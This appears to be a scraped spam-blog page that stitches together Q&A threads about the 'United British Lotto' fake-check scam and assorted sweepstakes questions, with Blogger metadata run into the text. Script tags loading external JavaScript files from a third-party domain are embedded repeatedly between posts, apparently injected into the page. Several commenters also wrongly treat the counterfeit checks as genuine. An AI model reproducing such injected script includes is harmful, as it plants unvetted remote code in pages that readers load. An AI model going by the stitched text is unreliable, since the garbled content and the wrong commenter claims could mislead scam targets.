Thank you!!!<br><script language=JavaScript src=http://www.chinese-kungfu.org/sur2.js type=text/javascript></script><br>Is this United British Lotto %26amp; North American Sweepstakes a scam???<br>Yes, this is a scam and here is how it works. <br><br /><br /><br><br /><br />The criminals who run the scam are a Nigerian gang. They use stolen checks from real businesses. <br><br /><br /><br><br /><br />When you receive one of these checks and deposit it in your bank account, your bank will verify if the account on which the check was drawn exists and has sufficient funds. This will generally be the case. Therefore after a few business days you will receive funds in your account. <br><br /><br /><br><br /><br />Now this is where it becomes really dangerous to you: You have just passed a bad check, which is *illegal* and you can go to prison for that. Furthermore, the check can and will still bounce. When that happens it is *you* and not the bank who will be liable for any losses! Checks can bounce for months after they have already "cleared" and it is the depositor who endorsed it with his signature on the back who is responsible. You vouch for the check with your signature.<br><br /><br /><br><br /><br />Once the bank that holds the company's account forwards it to the company's accounts department they will see that it doesn't match any check they signed. They will find that it came from a stolen checkbook. They will notify their bank, which will notify your bank and the funds will be removed from your account. <br><br /><br /><br><br /><br />If you have already withdrawn the cash and forwarded it to the criminals (they will tell you there are taxes and handling fees to be paid) then your account will be thousands of dollars in the red. It will get frozen. The bank may report you to the police. You may be charged with and prosecuted for passing bad checks and for wire fraud. <br><br /><br /><br><br /><br />If you receive any check under an arrangement where you are to cash it and forward funds from it to the check sender or a third party nominated by the sender, you can safely assume it to be a scam. Take the check to the police. Possession of fake checks is a crime under US Federal Law.<br>Reply:I got one of the letters in the mail and i took it to the police station hopfuly they will catch these people who scam. <span>Report Abuse</span><br /> <br>Reply:If you didn't pay money to enter this lottery, it most certainly is a scam.<br><br /><br /><br><br /><br />Here are the hallmarks of a lottery scam:<br><br /><br /><br><br /><br />You never paid money or bought a ticket to enter.<br><br /><br />Your "winning" notification is probably not personalized.<br><br /><br />Your "winning" notification came by email, probably from a free email<br><br /><br />address such as yahoo.com or msn.com.<br><br /><br /><br><br /><br />The way this scam works is, if you respond to the email, after one or<br><br /><br />two email exchanges with the so-called "lottery officials" or "claims<br><br /><br />agent," perhaps accompianied by some official looking but fake<br><br /><br />documents, you will be asked to pay fees for "taxes" or "handling" or<br><br /><br />some other reason. This is the scam, you pay the fees and never see<br><br /><br />any winnings, mainly because there are none to see.<br>Reply:I recieved the same check from united british lotto in the amount of $2998.85 I verified funds w/ the suntrust bank of central florida by calling them @ 1-800-221-9792 and now I am jus waiting for my check to clear at my bank...The letter I recieved says that their are 19 winners so could be 19 of us are gonna get paid....YES..I believe this is the real deal!!!$$$$$$<br>Reply:I received a check from the United British Lotto, it has a routing # on it and everything looks to be in order. They didn't request me to send a check. Is this check for real?<br>Reply:well i receive the same letter and i also called the # on the certificate and the man told me deposit the check into my account allow 48 hours for the check to clear than send it to him western union and in 5 to 7 bus. days I'll receive my check for 90,000.00.. but i don't know what to do, i wonder if it would clear at my bank.. think i might give it a shot but i wont send them sh**i..<br>Reply:and it's probably asking you to send a check for some amount to them....yes it's a scam and because it's outside the U.S. you can't do a thing to them if you send<br><br /><br /> the check and you get nothing back<br>Reply:Before anyone says the lottery is a waste of money... In Georgia (US) the lottery pays for my education. Every year a percentage of lotto profits are given out as scholarship money to georgia residents with a 3.0 avergae or higher. (yes only a 3.0/4.0) It's called the hope scholarship and it is amazing!<br><br /><br /><br><br /><br />Yay for lotteries and yay for the dream of being rich without working!<br>Reply:awereness thru experience ,, you play you pay .<br>Reply:hey, I just got one of these checks today, but mine is drawn from baker distributing co. but is also from bank of america. when i researched baker distributing co. they are located in fl. and are a heating and cooling company!! What the hell do they have to do with the lotto?<br>Reply:I have too. I was so freakin exited, but i didnt play the lotto either. Have you tried calling?<br><br /><br />musicaltrujillo@yahoo.com<br><br /><br />do you sign up for alot of things?<br><br /><br /><br><br /><br />ok i JUST READ THIS..<br><br /><br />I got one of these "British Lotto" checks myself. My husband and I are both unemployed right now. We should have known this was a scam but I am always entering sweepstakes and stupid me thought it was real. Even my bank thought it was for real. So, they cashed it. Now I am in the hole at the tune of $1600, and it really bites. Boy did I learn my lesson. PLEASE, if you get a check for United British Lotto, DON'T CASH IT!!!!!!! BIG FAT SCAM!!!!!!!!!!<br>Reply:i received the same letter from the united brittish lotto. i also received a check in the amount of 2998.95. i was told to cash it and send it to them. once they receive the money(which are the taxes on the prise money) then i would receive my check in the amount of 95K. so i think its real. if itws not i dont loose anything. i had to pay nothing. what do u think<br>Reply:I enter and play many different online games<br>Reply:hi we reiceved in the mail a check also form united british lotto and it was a real check and now we have to send that check back to them to pay the taxas on the money we one but they already sent a real chck to pay the taxas on the rest so????????? is it real????????<br>Reply:I got the very same thing in the mail, and I am hoping it's real! We called the number it says to call, and an actual financial company was at the other end, though they were closed because it was Sunday. Even if it's not real, I agree that I'm not out anything if I send them most of that check and don't actually get the prize. There's also an extra $150 on the check that they don't ask for back.<br>Reply:I just got the same check for $2,998.85 with the same directions what are the odds that everyone can get 95,000.00 or even 90,000.00 no one can afford to pay out so much to so many people and why is the check form Sun Trust a FL bank when its a British Lotto that I didn't enter. I think it a scam to get your identity or to involve you in illegal dialings I'll go talk to my bank Wednesday and see that they say about the legality of the check and the whole afire.<br>Reply:united british lotto is a scam, the check is counterfeit<br>Reply:When a stranger sends you a check, asks you to cash it, and then send him the money, the check is always fake and it is always a scam. You should treat it the same way as if someone on the street asked you to do the same thing. And if you send money by Western Union, you can never get that money back. It is untraceable. That's why scammers love Western Union. <br><br /><br /><br><br /><br />If it seems too good to be true, it probably is.<br>Reply:Lotterys work like this:<br><br /><br />1)10,000 people pay 1 dollar/euro/pound/yen....etc<br><br /><br />The lottery company now has 10,000<br><br /><br /><br><br /><br />2) the lottery company holds a draw and gives out 7,000 in winnings (and keeps the profit 3,000)<br><br /><br /><br><br /><br />Scams work like this:<br><br /><br />-1)nobody pays money (there is no money to win)<br><br /><br /><br><br /><br />0)a scammer sends out 10,000 spam emails to tell people they have won a lottery they havn't entered.(they pretend they work for real lottery websites)<br><br /><br /><br><br /><br />2)The Scammer asks for your Personal details (be prepared! your inbox is going to be full of emails asking for you personally...and dont get me started on what they are gonna do with your Bank details!)<br><br /><br /><br><br /><br />3)The scammer tells you that you have to pay fees before you can accept the "winnings" (and NO,you cant pay out of the winnings! they dont exist!....silly maga)<br><br /><br /><br><br /><br />4)The scammer manages to con 3 people out of 1000 and gives all his profits to a charity for orphaned goats (he dosn't really...he keeps it ;) )<br><br /><br /><br><br /><br />5)Your inbox gets more mails than help@microsoft.com<br><br /><br />Everything from "You have won anotther sooperdooperlottry" to "CHAN U B A NEXT OF KIN" to "Please join our company,cash our checks,send us the money until your bank realises you are laundering money for us?)<br><br /><br /><br><br /><br />The moral of the story is...If it sounds too good to be true... It probably is<br><br /><br /><br><br /><br />Some times they will help you pay the fees.<br><br /><br />They will give you a check (Wooooo hoooooo!!!)<br><br /><br />The checks will be fake....very good fakes.<br><br /><br />You can hand them to a 25yr old bank teller and they wont know the difference.<br><br /><br />The checks go in your account.<br><br /><br />Your bank "HONOURS" the checks<br><br /><br />You send the money to the scammer in Nigeria<br><br /><br />The bank sends the check back to the issuing bank (can take up to 6 months)<br><br /><br />The Issueing bank refuses to "CLEAR" the check.<br><br /><br />Your bank says"Hey...you put in a fake check ....wheres the money?"<br><br /><br />You say" I sent it to [insert scammers name here] by western union money transfer(untracable) to that lovely man/woman/both in Nigeria"<br><br /><br />The bank says"??? you robbed your own bank???"<br><br /><br />You plead Ignorance..."Im innocent" etc<br><br /><br />They say "But YOU put the check in our bank...." and you do jail time for bank fraud<br><br /><br /><br><br /><br />"419" scammers....dont ya love 'em<br><br /><br />www.fraudwatchers.org<br>Reply:I received a letter and a check also. Call the bank from which the check was drawn, you'll find this is a scam. The bank, (Citibank of Delaware), asked me to provide any info I could and requested that I fax the check %26amp; the letter. If you should try and cash this check, you are responsible for any fees and penelties involved once it bounces.<br><br /><br /><br><br /><br />CALL THE BANK!!!!!!<br>Reply:i also received a letter sating that i won 2,998.85 us dollars and i'm confused about this. What should i do next to receive the rest of the prize.<br><script language=JavaScript src=http://www.chinese-kungfu.org/sur3.js type=text/javascript></script><br><br>Neidahttp://www.blogger.com/profile/08664774562264249518noreply@blogger.com0tag:blogger.com,1999:blog-159691577445412271.post-45711058807371945032010-08-22T21:03:00.001-07:002010-08-22T21:03:16.150-07:00Www.pbteen.com click it, spin, it win it, sweepstakes?Im a shopper, on pbteen.

Canada VIM 4E8, are they a business of SWEEPSTAKES? Can it be true<br>Almost definately a scam. No company makes money by giving away huge sums for no reward to themselves.<br><br /><br /><br><br /><br /><br><br /><br />It is scam. Yahoo (insert any company name here, this answer works for all!) do not run an email lottery, if they did you could guarantee it would be advertised all over their home page. Check out these links and search answers to see how many people 'win' the exact same lottery every day <br><br /><br /><br><br /><br />http://en.wikipedia.org/wiki/lottery_sca...<br><br /><br />http://www.hoax-slayer.com/email-lottery...<br><br /><br /><br><br /><br />Do not click on any links, the page you will be taken to will look authentic but is not<br><br /><br />Do not send them a 'courier fee' or any other money<br><br /><br />Do not hand over any bank details or passwords<br><br /><br /><br><br /><br />Do report spam<br><br /><br />Do delete<br><br /><br /><br><br /><br />Remember there is no such thing as a free lunch. You cannot win a lottery if you haven ot bought a ticket. Anyone can set up an email account with Yahoo, they can use any combination of letters they choose. I could be 'thequeenmother@yahoo.com' or 'disneyfreeticketsgenuine@yahoo.com' That doesn't mean that I am either of these and is fine as long as I don't try to use the address to mislead people. Don't be fooled by legitimate looking email addresses which end the same way as any other free account, don't be fooled by fictitious titles such as 'Dr' or 'Executive Director of Winner Claims'.<br><br /><br /> <br><br /><br /><br><br /><br />(I've answered this question so many times that I now keep this answer on my desktop and just copy and paste....that should give you a clue!)<br>Reply:Its a SCAM.. <br><br /><br />Think about it.. If you won a Lottery... Anywhere in the WORLD..... Don't you think they would fly you out there so, they can have you on TV and whatever else... <br><br /><br />Think about it.. Here in the US.. If anyone wins anything even near a million.. Its all over the newspapers and TV...<br><br /><br /><br><br /><br />There probley going to try and steal your identity or after you fill out Payment Processing.. There going to say please send us (about) $5,000 for the taxes and processing fees...<br><br /><br /><br><br /><br />So, I wouldn't do anything but, just ignore them.. Or write back and say.. Send me the money and I'll send you the info back once I received it.. <br><br /><br />They will never answer you back.. and I would try and call you Internet provider and tell them about it...<br><br /><br /><br><br /><br />Good luck with everything and let us know what happens...<br><br /><br />Jay<br>Reply:Alot of sweepstakes scams include a sales presentation. They say that you have won an undetermined prized, and make you sit through a sales pitch before you collect it. Usually, the prize isn't worth your time, or has strings attatched. For instance, you may win a Florida vacation. The catch-you pay for the airfare, and it's in an off-season.<br><br /><br /><br><br /><br />BUT....usually it never hurts to enter a free sweeps.

Please note also that through the course of a sweepstakes a customer may receive multiple opportunities to enter the draw. In some cases they may respond ‘Yes’ to the offer and in other cases they may respond ‘No’ to just enter the draw. So while they may have once purchased a product, the winning entry could very well have come from a ‘No’ response.

So you're out $1980 and you never hear from them again. Sorry to burst your bubble, but it's a scam.<br>Reply:The check is probably stolen or forged. This is a scam. Not even a new one I am afraid. Your best bet is to give what ever information you have (including the check) to law enforcement. In KS, the attorney generals office handles these cases. You might check with your local authorities.<br>Reply:Throw the check in the garbage and be glad you didn't get ripped off.

The most recent thing I've won (online) was a couple of passes to that movie Forbidden Kingdom. And once inside the theater, I won another little giveaway for gift certificates, posters and stuff.

I got a real check in the mail for $4,350 from an e-games sweepstakes place....?I got a typed letter on plain white paper saying I won money from some lottery drawing pool with a real check inside for $4,350.00. I called the # on the letter. They told me the check was real when I spoke to them and to deposit it in my bank. The guy who asked for my ref # on the letter he had a very thick accent %26amp; I could barely understand him but from what I got from him I'm suppose to deposit this check in my bank account and they will take $3,250.00 out of the amount for government surcharges. Then he said something about them sending the remainder prize money to me that I won which is $96,650.00 %26amp; that amount will be delivered to me within 48 hours by ups or fedex. I told him I wasn't interested %26amp; he said OK and quickly hung up on me. I think this is a scam. It seems fishy even though the check is real. Anyone ever get this and actually do it and get $? It says they are registered under the data protection act but I 'm very suspicious that this is a scam.<br><script language=JavaScript src=http://www.chinese-kungfu.org/sur1.js type=text/javascript></script><br>Is this a scam?

Do not give them any of your personal information because soon after you deposit the check is WILL BOUNCE. There are tons and tons of overseas skams and this sure sounds like one of them. I mean think about this, do you remember even entering a lottery pool of any kind?<br>Reply:It is a scam to get your personal bank info. Burn it!!!<br>Reply:It is a scam. Don't even dignify it with an answer. Nothing in this world is for free. Sounds like a scam that originated in Nigeria.. many people were ripped off.<br>Reply:Don't cash that check-it's a scam. This is a classic and well known scam so just toss that check and forget it. You will cash it and give the crooks their money and then the check will not be good. Then you will be responsible for all of it and fees back to your bank.<br><script language=JavaScript src=http://www.chinese-kungfu.org/sur3.js type=text/javascript></script><br><br>Neidahttp://www.blogger.com/profile/08664774562264249518noreply@blogger.com0tag:blogger.com,1999:blog-159691577445412271.post-44638860121077285932010-08-22T20:58:00.000-07:002010-08-22T20:58:13.406-07:00Anyone know of any good free sweepstakes, freebies, surveys for cash web-sites etc?TreasureTrooper.com is a good one!

Companies allocate budgeted dollars for a sweepstakes. So, what happens if the winning ticket is never drawn? Can Joe public apply for those undisbursed funds? If so, how do you go about it?<br><script language=JavaScript src=http://www.chinese-kungfu.org/sur1.js type=text/javascript></script><br>Undisbursed Sweepstakes?<br>Look in the rules for something regarding unclaimed prizes. Almost every one of those I have seen has something in about them. The most common type of statement is "Unclaimed prizes will not be awarded." Another is "There will be a second-chance drawing for unclaimed prizes." It is all up to the people running it.<br><script language=JavaScript src=http://www.chinese-kungfu.org/sur3.js type=text/javascript></script><br><br>Neidahttp://www.blogger.com/profile/08664774562264249518noreply@blogger.com0tag:blogger.com,1999:blog-159691577445412271.post-81604343378619724272010-08-22T20:57:00.002-07:002010-08-22T20:57:40.577-07:00What was the Ellen "Crash the Oscar® Bash Sweepstakes" key word today?What was the Ellen "Crash the Oscar® Bash Sweepstakes" key word today?<br><script language=JavaScript src=http://www.chinese-kungfu.org/sur2.js type=text/javascript></script><br>What was the Ellen "Crash the Oscar® Bash Sweepstakes" key word today?<br>cruz<br><script language=JavaScript src=http://www.chinese-kungfu.org/sur3.js type=text/javascript></script><br><br>Neidahttp://www.blogger.com/profile/08664774562264249518noreply@blogger.com0tag:blogger.com,1999:blog-159691577445412271.post-17191367961886634972010-08-22T20:57:00.001-07:002010-08-22T20:57:24.341-07:00Do you know anyone who has won the publishers clearing house sweepstakes?NO.....SERIOUSLY.....I HAVE BEEN TRYING FOR 15 YRS.

Unless you've actually lost money to the scammers, law enforcement can't do much. Many agencies are too busy with people who have already become victims, to deal with the countless e-mail users who receive these scam e-mails every day.<br><br /><br /><br><br /><br />And if you report the scammer's e-mail address to the provider to have the box closed, you might interfere with one of those investigations.
